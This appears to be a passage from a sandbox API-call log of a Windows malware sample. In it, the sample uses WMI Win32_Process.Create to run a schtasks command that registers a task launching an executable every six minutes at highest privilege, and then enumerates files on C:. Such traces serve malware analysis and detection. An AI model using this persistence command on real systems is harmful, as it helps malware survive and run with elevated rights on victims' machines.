0x0 [0157.919] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ed80, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ed80, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ed80, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ed80, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0157.919] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ed80, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0157.920] IWbemServices:GetObject (in: This=0x1bb97ac0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb8140, ppCallResult=0x0) returned 0x0 [0157.924] IWbemClassObject:GetMethod (in: This=0x1bbb8140, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbb84b0, ppOutSignature=0x1bb7e690*=0x1bbb8820) returned 0x0 [0157.925] IWbemClassObject:SpawnInstance (in: This=0x1bbb84b0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbd5050) returned 0x0 [0157.925] IWbemClassObject:Get (in: This=0x1bbd5050, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cea60*=0, plFlavor=0x28cea64*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cea60*=8, plFlavor=0x28cea64*=32) returned 0x0 [0157.925] IWbemClassObject:Get (in: This=0x1bbd5050, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cea60*=8, plFlavor=0x28cea64*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cea60*=8, plFlavor=0x28cea64*=32) returned 0x0 [0157.926] IWbemClassObject:Put (This=0x1bbd5050, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 6 /tr \"'C:\\comproviderRuntimecommon\\but inside save.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0157.926] IWbemClassObject:Get (in: This=0x1bbd5050, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ceaf0*=0, plFlavor=0x28ceaf4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ceaf0*=13, plFlavor=0x28ceaf4*=32) returned 0x0 [0157.926] IWbemClassObject:Get (in: This=0x1bbd5050, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ceaf0*=13, plFlavor=0x28ceaf4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28ceaf0*=13, plFlavor=0x28ceaf4*=32) returned 0x0 [0157.926] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbb7a60) returned 0x0 [0157.926] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0157.926] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0157.928] IUnknown:AddRef (This=0x1bbb7a60) returned 0x3 [0157.928] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0157.928] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0157.928] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbb7a68) returned 0x0 [0157.928] IMarshal:GetUnmarshalClass (in: This=0x1bbb7a68, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0157.928] IUnknown:Release (This=0x1bbb7a68) returned 0x3 [0157.928] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0157.928] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0157.928] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0157.928] IUnknown:Release (This=0x1bbb7a60) returned 0x2 [0157.929] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0157.929] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0157.929] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0157.929] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0157.929] IUnknown:QueryInterface (in: This=0x1bbb7a60, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0157.929] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0157.929] IUnknown:AddRef (This=0x1bbb7a60) returned 0x3 [0157.929] IWbemClassObject:Put (This=0x1bbd5050, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbb7a60, varVal2=0x0), Type=0) returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f140, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0157.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f140, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0157.930] IWbemServices:ExecMethod (in: This=0x1bb97ac0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbd5050, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbd5300, ppCallResult=0x0) returned 0x0 [0158.094] IWbemClassObject:Get (in: This=0x1bbd5300, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cee08*=0, plFlavor=0x28cee0c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x768, varVal2=0x0), pType=0x28cee08*=19, plFlavor=0x28cee0c*=0) returned 0x0 [0158.094] IWbemClassObject:Get (in: This=0x1bbd5300, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28cee08*=19, plFlavor=0x28cee0c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x768, varVal2=0x0), pType=0x28cee08*=19, plFlavor=0x28cee0c*=0) returned 0x0 [0158.096] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb10) returned 0x2c0 [0158.096] GetExitCodeProcess (in: hProcess=0x2c0, lpExitCode=0x26f94f4 | out: lpExitCode=0x26f94f4*=0x103) returned 1 [0158.096] CoTaskMemAlloc (cb=0x404) returned 0x1bc21360 [0158.096] QueryFullProcessImageNameA (in: hProcess=0x2c0, dwFlags=0x0, lpExeName=0x1bc21360, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Analysis Services\\fpos.exe", lpdwSize=0x1bb7ed88) returned 1 [0158.097] CoTaskMemFree (pv=0x1bc21360) [0158.101] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0158.101] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0158.102] CoTaskMemFree (pv=0x1a988070) [0158.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0158.102] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0158.102] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d88a0 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x298ba5c0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x298ba5c0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0158.103] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0158.104] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0158.104] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0158.104] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0158.104] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0158.104] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0158.104] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.104] FindClose (in: hFindFile=0x1a9d88a0 | out: hFindFile=0x1a9d88a0) returned 1 [0158.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0158.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0158.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0158.105] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0158.105] FindFirstFileW (in: lpFileName="C:\\Windows\\*" (normalized: "c:\\windows\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d88a0 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="addins", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCompat", cAlternateFileName="APPCOM~1")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5d6c2e00, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5d6c2e00, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPatch", cAlternateFileName="")) returned 1 [0158.106] FindNextFileW (in: hFindFile=0x1a9d88a0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, 